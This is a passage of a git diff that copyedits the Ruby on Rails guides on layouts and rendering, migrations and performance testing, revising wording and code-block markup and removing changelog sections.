a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view will probably require. One way to fix this is to redirect instead of rendering: <ruby> def index @@ -570,9 +570,9 @@ end With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well. -The only downside to this code, is that it requires a round trip to the browser, the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. +The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. -While in a small app, this added latency might not be a problem, it is something to think about when speed of response is of the essence. One way to handle this double request (though a contrived example) could be: +While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example: <ruby> def index @@ -588,7 +588,7 @@ def show end </ruby> -Which would detect that there are no books, populate the +@books+ instance variable with all the books in the database and then directly render the +index.html.erb+ template returning it to the browser with a flash alert message telling the user what happened. +This would detect that there are no books with the specified ID, populate the +@books+ instance variable with all the books in the model, and then directly render the +index.html.erb+ template, returning it to the browser with a flash alert message to tell the user what happened. h4. Using +head+ To Build Header-Only Responses @@ -598,7 +598,7 @@ The +head+ method can be used to send responses with only headers to the browser head :bad_request </ruby> -Which would produce the following header: +This would produce the following header: <shell> HTTP/1.1 400 Bad Request @@ -611,7 +611,7 @@ Set-Cookie: _blog_session=...snip...; path=/; HttpOnly Cache-Control: no-cache </shell> -Or you can use other HTTP headers to convey additional information: +Or you can use other HTTP headers to convey other information: <ruby> head :created, :location => photo_path(@photo) @@ -633,15 +633,15 @@ Cache-Control: no-cache h3. Structuring Layouts -When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response: +When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response: * Asset tags * +yield+ and +content_for+ * Partials -h4. Asset Tags +h4. Asset Tag Helpers -Asset tags provide methods for generating HTML that links views to feeds, JavaScript, stylesheets, images, videos and audios. These are the six asset tags available in Rails: +Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails: * +auto_discovery_link_tag+ * +javascript_include_tag+ @@ -650,11 +650,11 @@ Asset tags provide methods for generating HTML that links views to feeds, JavaSc * +video_tag+ * +audio_tag+ -You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +<head>+ section of a layout. +You can use these tags in layouts or other views, although the +auto_discovery_link_tag+, +javascript_include_tag+, and +stylesheet_link_tag+, are most commonly used in the +<head>+ section of a layout. -WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. +WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. -h5. Linking to Feeds with +auto_discovery_link_tag+ +h5. Linking to Feeds with the +auto_discovery_link_tag+ The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag: @@ -663,13 +663,13 @@ The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsread {:title => "RSS Feed"}) %> </erb> -There are three tag options available for +auto_discovery_link_tag+: +There are three tag options available for the +auto_discovery_link_tag+: -* +:rel+ specifies the +rel+ value in the link (defaults to "alternate") +* +:rel+ specifies the +rel+ value in the link. The default value is "alternate". * +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically. -* +:title+ specifies the title of the link +* +:title+ specifies the title of the link. The default value is the upshifted +:type+ value, for example, "ATOM" or "RSS". -h5. Linking to JavaScript Files with +javascript_include_tag+ +h5. Linking to JavaScript Files with the +javascript_include_tag+ The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+: @@ -738,7 +738,7 @@ By default, the combined file will be delivered as +javascripts/all.js+. You can You can even use dynamic paths such as +cache/#{current_site}/main/display+. -h5. Linking to CSS Files with +stylesheet_link_tag+ +h5. Linking to CSS Files with the +stylesheet_link_tag+ The +stylesheet_link_tag+ helper returns an HTML +<link>+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.css+: @@ -764,7 +764,7 @@ To include +http://example.com/main.css+: <%= stylesheet_link_tag "http://example.com/main.css" %> </erb> -By default, +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+): +By default, the +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+): <erb> <%= stylesheet_link_tag "main_print", :media => "print" %> @@ -797,7 +797,7 @@ By default, the combined file will be delivered as +stylesheets/all.css+. You ca You can even use dynamic paths such as +cache/#{current_site}/main/display+. -h5. Linking to Images with +image_tag+ +h5. Linking to Images with the +image_tag+ The +image_tag+ helper builds an HTML +<img />+ tag to the specified file. By default, files are loaded from +public/images+. @@ -846,7 +846,7 @@ In addition to the above special tags, you can supply a final hash of standard H :class => 'nav_bar' %> </erb> -h5. Linking to Videos with +video_tag+ +h5. Linking to Videos with the +video_tag+ The +video_tag+ helper builds an HTML 5 +<video>+ tag to the specified file. By default, files are loaded from +public/videos+. @@ -882,7 +882,7 @@ This will produce: <video><source src="trailer.ogg" /><source src="movie.ogg" /></video> </erb> -h5. Linking to Audio files with +audio_tag+ +h5. Linking to Audio Files with the +audio_tag+ The +audio_tag+ helper builds an HTML 5 +<audio>+ tag to the specified file. By default, files are loaded from +public/audios+. @@ -933,7 +933,7 @@ You can also create a layout with multiple yielding regions: The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method. -h4. Using +content_for+ +h4. Using the +content_for+ Method The +content_for+ method allows you to insert content into a named +yield+ block in your layout. For example, this view would work with the layout that you just saw: @@ -1093,6 +1093,13 @@ In Rails 3.0, there is also a shorthand for this. Assuming +@products+ is a coll Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection: +In the event that the collection is empty, +render+ will return nil, so it should be fairly simple to provide alternative content. + +<erb> +<h1>Products</h1> +<%= render(@products) || 'There are no products available.' %> +</erb> + * +index.html.erb+ <erb> @@ -1179,23 +1186,11 @@ On pages generated by +NewsController+, you want to hide the top menu and add a <% end %> <% content_for :content do %> <div id="right_menu">Right menu items here</div> - <%= yield(:news_content) or yield %> + <%= content_for?(:news_content) ? yield(:news_content) : yield %> <% end %> <%= render :template => 'layouts/application' %> </erb> That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div. -There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +yield(:news_content) or yield+ with simply +yield+. - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* January 25, 2010: Rails 3.0 Update by "Mikel Lindsaar":credits.html#raasdnil -* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates -* December 27, 2008: Information on new rendering defaults by "Mike Gunderloy":credits.html#mgunderloy -* November 9, 2008: Added partial collection counter by "Mike Gunderloy":credits.html#mgunderloy -* November 1, 2008: Added +:js+ option for +render+ by "Mike Gunderloy":credits.html#mgunderloy -* October 16, 2008: Ready for publication by "Mike Gunderloy":credits.html#mgunderloy -* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 28, 2008: First draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +content_for?(:news_content) ? yield(:news_content) : yield+ with simply +yield+. diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile index e51ee0f535..23e36b39f9 100644 --- a/railties/guides/source/migrations.textile +++ b/railties/guides/source/migrations.textile @@ -91,13 +91,13 @@ Active Record provides methods that perform common data definition tasks in a da * +add_index+ * +remove_index+ -If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). +If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ method allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). On databases that support transactions with statements that change the schema (such as PostgreSQL or SQLite3), migrations are wrapped in a transaction. If the database does not support this (for example MySQL) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand. h4. What's in a Name -Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. +Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define class +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by adding the following line to +config/application.rb+. @@ -115,7 +115,7 @@ h4. Changing Migrations Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version. -In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. +In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead, you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or, more generally, which has not been propagated beyond your development machine) is relatively harmless. h4. Supported Types @@ -134,7 +134,7 @@ Active Record supports the following types: * +:binary+ * +:boolean+ -These will be mapped onto an appropriate underlying database type, for example with MySQL +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example +These will be mapped onto an appropriate underlying database type. For example, with MySQL the type +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example <ruby> create_table :products do |t| @@ -148,7 +148,7 @@ h3. Creating a Migration h4. Creating a Model -The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running +The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for adding these columns will also be created. For example, running <shell> $ rails generate model Product name:string description:text @@ -262,7 +262,7 @@ end which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column). -The object yielded to the block allows you to create columns on the table. There are two ways of doing this: The first (traditional) form looks like +The object yielded to the block allows you to create columns on the table. There are two ways of doing it. The first (traditional) form looks like <ruby> create_table :products do |t| @@ -270,7 +270,7 @@ create_table :products do |t| end </ruby> -the second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same. +The second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same. <ruby> create_table :products do |t| @@ -278,7 +278,7 @@ create_table :products do |t| end </ruby> -By default +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example +By default, +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or, if you don't want a primary key at all (for example for a HABTM join table), you can pass the option +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example, <ruby> create_table :products, :options => "ENGINE=BLACKHOLE" do |t| @@ -286,7 +286,7 @@ create_table :products, :options => "ENGINE=BLACKHOLE" do |t| end </ruby> -will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL the default is +ENGINE=InnoDB+). +will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL, the default is +ENGINE=InnoDB+). h4. Changing Tables @@ -300,6 +300,7 @@ change_table :products do |t| t.rename :upccode, :upc_code end </ruby> + removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column. This is the same as doing <ruby> @@ -347,11 +348,11 @@ end </ruby> will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'. -NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-record-and-referential-integrity. +NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ or a plugin that adds "foreign key support":#active-record-and-referential-integrity. -If the helpers provided by Active Record aren't enough you can use the +execute+ function to execute arbitrary SQL. +If the helpers provided by Active Record aren't enough you can use the +execute+ method to execute arbitrary SQL. -For more details and examples of individual methods check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). +For more details and examples of individual methods, check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). h4. Writing Your +change+ Method @@ -370,7 +371,7 @@ If you're going to use other methods, you'll have to write the +up+ and +down+ m h4. Writing Your +down+ Method -The +down+ method of your migration should revert the transformations done by the +up+ method. In other words the database schema should be unchanged if you do an +up+ followed by a +down+. For example if you create a table in the +up+ method you should drop it in the +down+ method. It is wise to do things in precisely the reverse order to in the +up+ method. For example +The +down+ method of your migration should revert the transformations done by the +up+ method. In other words, the database schema should be unchanged if you do an +up+ followed by a +down+. For example, if you create a table in the +up+ method, you should drop it in the +down+ method. It is wise to reverse the transformations in precisely the reverse order they were made in the +up+ method. For example, <ruby> class ExampleMigration < ActiveRecord::Migration @@ -401,22 +402,22 @@ class ExampleMigration < ActiveRecord::Migration end </ruby> -Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration an error message will be displayed saying that it can't be done. +Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data. In such cases, you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration, an error message will be displayed saying that it can't be done. h3. Running Migrations -Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations it exits. +Rails provides a set of rake tasks to work with migrations which boil down to running certain sets of migrations. The very first migration related rake task you will use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations, it exits. Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database. If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The -version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run +version is the numerical prefix on the migration's filename. For example, to migrate to version 20080906120000 run <shell> $ rake db:migrate VERSION=20080906120000 </shell> -If this is greater than the current version (i.e. it is migrating upwards) this will run the +up+ method on all migrations up to and including 20080906120000, if migrating downwards this will run the +down+ method on all the migrations down to, but not including, 20080906120000. +If version 20080906120000 is greater than the current version (i.e., it is migrating upwards), this will run the +up+ method on all migrations up to and including 20080906120000. If migrating downwards, this will run the +down+ method on all the migrations down to, but not including, 20080906120000. h4. Rolling Back @@ -434,13 +435,13 @@ $ rake db:rollback STEP=3 will run the +down+ method from the last 3 migrations. -The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task you can use the +STEP+ parameter if you need to go more than one version back, for example +The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task, you can use the +STEP+ parameter if you need to go more than one version back, for example <shell> $ rake db:migrate:redo STEP=3 </shell> -Neither of these Rake tasks do anything you could not do with +db:migrate+, they are simply more convenient since you do not need to explicitly specify the version to migrate to. +Neither of these Rake tasks do anything you could not do with +db:migrate+. They are simply more convenient, since you do not need to explicitly specify the version to migrate to. Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it. @@ -448,7 +449,7 @@ NOTE: This is not the same as running all the migrations - see the section on "s h4. Being Specific -If you need to run a specific migration up or down the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example +If you need to run a specific migration up or down, the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example, <shell> $ rake db:migrate:up VERSION=20080906120000 @@ -471,13 +472,13 @@ By default migrations tell you exactly what they're doing and how long it took. Several methods are provided that allow you to control all this: -* +suppress_messages+ suppresses any output generated by its block -* +say+ outputs text (the second argument controls whether it is indented or not) +* +suppress_messages+ takes a block as an argument and suppresses any output generated by the block. +* +say+ takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not. * +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. For example, this migration -<pre> +<ruby> class CreateProducts < ActiveRecord::Migration def change suppress_messages do @@ -496,7 +497,7 @@ class CreateProducts < ActiveRecord::Migration end end end -</pre> +</ruby> generates the following output @@ -510,11 +511,11 @@ generates the following output 20080906170109 CreateProducts: migrated (10.0097s) </shell> -If you just want Active Record to shut up then running +rake db:migrate VERBOSE=false+ will suppress any output. +If you just want Active Record to shut up, then running +rake db:migrate VERBOSE=false+ will suppress all output. h3. Using Models in Your Migrations -When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done, but some caution should be observed. +When creating or updating data in a migration it is often tempting to use one of your models. After all, they exist to provide easy access to the underlying data. This can be done, but some caution should be observed. For example, problems occur when the model uses database columns which are (1) not currently in the database and (2) will be created by this or a subsequent migration. @@ -523,9 +524,9 @@ Consider this example, where Alice and Bob are working on the same code base whi Bob goes on vacation. Alice creates a migration for the +products+ table which adds a new column and initializes it. -She also adds a validation to the Product model for the new column. +She also adds a validation to the +Product+ model for the new column. -<pre> +<ruby> # db/migrate/20100513121110_add_flag_to_product.rb class AddFlagToProduct < ActiveRecord::Migration @@ -534,19 +535,19 @@ class AddFlagToProduct < ActiveRecord::Migration Product.all.each { |f| f.update_attributes!(:flag => 'false') } end end -</pre> +</ruby> -<pre> +<ruby> # app/model/product.rb class Product < ActiveRecord::Base - validates_presence_of :flag + validates :flag, :presence => true end -</pre> +</ruby> -Alice adds a second migration which adds and initializes another column to the +products+ table and also adds a validation to the Product model for the new column. +Alice adds a second migration which adds and initializes another column to the +products+ table and also adds a validation to the +Product+ model for the new column. -<pre> +<ruby> # db/migrate/20100515121110_add_fuzz_to_product.rb class AddFuzzToProduct < ActiveRecord::Migration @@ -555,16 +556,15 @@ class AddFuzzToProduct < ActiveRecord::Migration Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' } end end -</pre> +</ruby> -<pre> +<ruby> # app/model/product.rb class Product < ActiveRecord::Base - validates_presence_of :flag - validates_presence_of :fuzz + validates :flag, :fuzz, :presence => true end -</pre> +</ruby> Both migrations work for Alice. @@ -573,36 +573,37 @@ Bob comes back from vacation and: # updates the source - which contains both migrations and the latests version of the Product model. # runs outstanding migrations with +rake db:migrate+, which includes the one that updates the +Product+ model. -The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the _first_ migration runs. +The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the _first_ migration runs: -<pre> +<plain> rake aborted! An error has occurred, this and all later migrations canceled: undefined method `fuzz' for #<Product:0x000001049b14a0> -</pre> +</plain> A fix for this is to create a local model within the migration. This keeps rails from running the validations, so that the migrations run to completion. -When using a faux model, it's a good idea to call +Product.reset_column_information+ to refresh the ActiveRecord cache for the Product model prior to updating data in the database. +When using a faux model, it's a good idea to call +Product.reset_column_information+ to refresh the +ActiveRecord+ cache for the +Product+ model prior to updating data in the database. If Alice had done this instead, there would have been no problem: -<pre> +<ruby> # db/migrate/20100513121110_add_flag_to_product.rb class AddFlagToProduct < ActiveRecord::Migration class Product < ActiveRecord::Base end + def change add_column :products, :flag, :int - Product.reset_column_information + Product.reset_column_information Product.all.each { |f| f.update_attributes!(:flag => false) } end end -</pre> +</ruby> -<pre> +<ruby> # db/migrate/20100515121110_add_fuzz_to_product.rb class AddFuzzToProduct < ActiveRecord::Migration @@ -614,7 +615,7 @@ class AddFuzzToProduct < ActiveRecord::Migration Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' } end end -</pre> +</ruby> h3. Schema Dumping and You @@ -627,7 +628,7 @@ There is no need (and it is error prone) to deploy a new instance of an app by r For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database. -Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The "annotate_models":http://agilewebdevelopment.com/plugins/annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarizing the schema, may also be of interest. +Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations, but is summed up in the schema file. The "annotate_models":https://github.com/ctran/annotate_models gem automatically adds and updates comments at the top of each model summarizing the schema if you desire that functionality. h4. Types of Schema Dumps @@ -653,13 +654,11 @@ ActiveRecord::Schema.define(:version => 20080906171750) do end </ruby> -In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. - -There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to +:sql+. +In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database-independent, it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. -Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the +db:structure:dump+ Rake task) into +db/#{Rails.env}_structure.sql+. For example for PostgreSQL the +pg_dump+ utility is used and for MySQL this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside. +There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers, or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this, then you should set the schema format to +:sql+. -By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it. +Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the +db:structure:dump+ Rake task) into +db/#{Rails.env}_structure.sql+. For example, for the PostgreSQL RDBMS, the +pg_dump+ utility is used. For MySQL, this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a perfect copy of the database's structure. Using the +:sql+ schema format will, however, prevent loading the schema into a RDBMS other than the one used to create it. h4. Schema Dumps and Source Control @@ -669,12 +668,6 @@ h3. Active Record and Referential Integrity The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used. -Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints. +Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them with foreign key constraints. Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":https://github.com/harukizaemon/redhillonrails/tree/master/foreign_key_migrations/ which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+). - -h3. Changelog - -* April 26, 2011: change generated +up+ and +down+ methods to +change+ method, and describe detail about +change+ method by "Prem Sichanugrist":http://sikachu.com -* July 15, 2010: minor typos corrected by "Jaime Iniesta":http://jaimeiniesta.com -* September 14, 2008: initial version by "Frederick Cheung":credits.html#fcheung diff --git a/railties/guides/source/performance_testing.textile b/railties/guides/source/performance_testing.textile index dbe6f97f5c..2440927542 100644 --- a/railties/guides/source/performance_testing.textile +++ b/railties/guides/source/performance_testing.textile @@ -207,7 +207,7 @@ GC Time measures the amount of time spent in GC for the performance test case. h5. Metric Availability -h6. Benchmarking +h6(#benchmarking_1). Benchmarking |_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| |_.MRI | yes | yes | yes | no | yes | yes | yes | yes | @@ -215,7 +215,7 @@ h6. Benchmarking |_.Rubinius | yes | no | no | no | yes | yes | yes | yes | |_.JRuby | yes | no | no | yes | yes | yes | yes | yes | -h6. Profiling +h6(#profiling_1). Profiling |_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| |_.MRI | yes | yes | no | no | yes | yes | yes | yes | @@ -438,16 +438,16 @@ alias gcrails='~/rubygc/bin/rails' Don't forget to use your aliases from now on. -h6. Install Rubygems (1.8 only!) +h6. Install RubyGems (1.8 only!) -Download "Rubygems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above. +Download "RubyGems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above. h4. Using Ruby-Prof on MRI and REE Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile under MRI or REE: <ruby> -gem 'ruby-prof', :path => 'git://github.com/wycats/ruby-prof.git' +gem 'ruby-prof', :git => 'git://github.com/wycats/ruby-prof.git' </ruby> Now run +bundle install+ and you're ready to go. @@ -595,9 +595,3 @@ Rails has been lucky to have a few companies dedicated to Rails-specific perform * "New Relic":http://www.newrelic.com * "Scout":http://scoutapp.com - -h3. Changelog - -* March 30, 2011: Documented the recent improvements (multiple interpreters, options, etc) and necessary adjustments. Other minor improvements. "Gonçalo Silva":http://goncalossilva.com. -* January 9, 2009: Complete rewrite by "Pratik":credits.html#lifo -* September 6, 2008: Initial version by Matthew Bergman diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile index 188423861d..5cfd336d1e 100644 --- a/railties/guides/source/plugins.textile +++ 